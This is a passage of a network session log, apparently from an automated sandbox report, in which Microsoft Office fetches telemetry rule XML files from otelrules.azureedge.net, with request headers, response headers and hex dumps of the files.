2024-11-02 06:16:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	63821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:13 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061613Z-16ccfc498972c2r2hC1DFWxq6800000001rg0000000040ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	63820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:13 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061613Z-16dc884887bvr5slhC1DFWw7rw00000001g0000000007yyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	63822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:13 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c717da75-701e-0050-2e33-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061613Z-r159446fcd7dm7pfhC1DFWkcfc0000000100000000001se8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	63823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:13 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9fc533e1-401e-0029-192f-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061613Z-176bd8f9bc5hwksrhC1DFWf9wg00000001p0000000006tzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	63824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:14 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:14 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:14 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ea16cd7b-801e-00a0-0908-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061614Z-16dc884887b4tt9chC1DFWrg2c00000001gg00000000c5f3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:14 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	63825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:14 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:14 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:14 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 62bc2ff2-901e-0016-5408-2cefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061614Z-16ccfc49897wlhjjhC1DFWsx6c00000001rg000000002mkf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:14 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	63826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:14 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:14 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:14 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: c6a80355-b01e-0070-0e08-2c1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061614Z-16ccfc49897wlhjjhC1DFWsx6c00000001k000000000hw01 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	63828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:14 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:14 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:14 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061614Z-16dc884887btswlthC1DFWs7xw00000001rg000000006ueg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:14 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	63827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:14 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: b98889fe-601e-0001-3b0a-2cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061614Z-176bd8f9bc5nnctdhC1DFWuuh800000001vg000000007qg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	63829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:15 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:15 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8b140993-f01e-005d-3914-2c13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061615Z-176bd8f9bc5qpx4shC1DFW30sn00000001gg000000006p9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:15 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	63830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:15 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e852109a-801e-0048-1928-2cf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061615Z-176bd8f9bc5wl4brhC1DFWmstw00000001s0000000000r2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	63831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
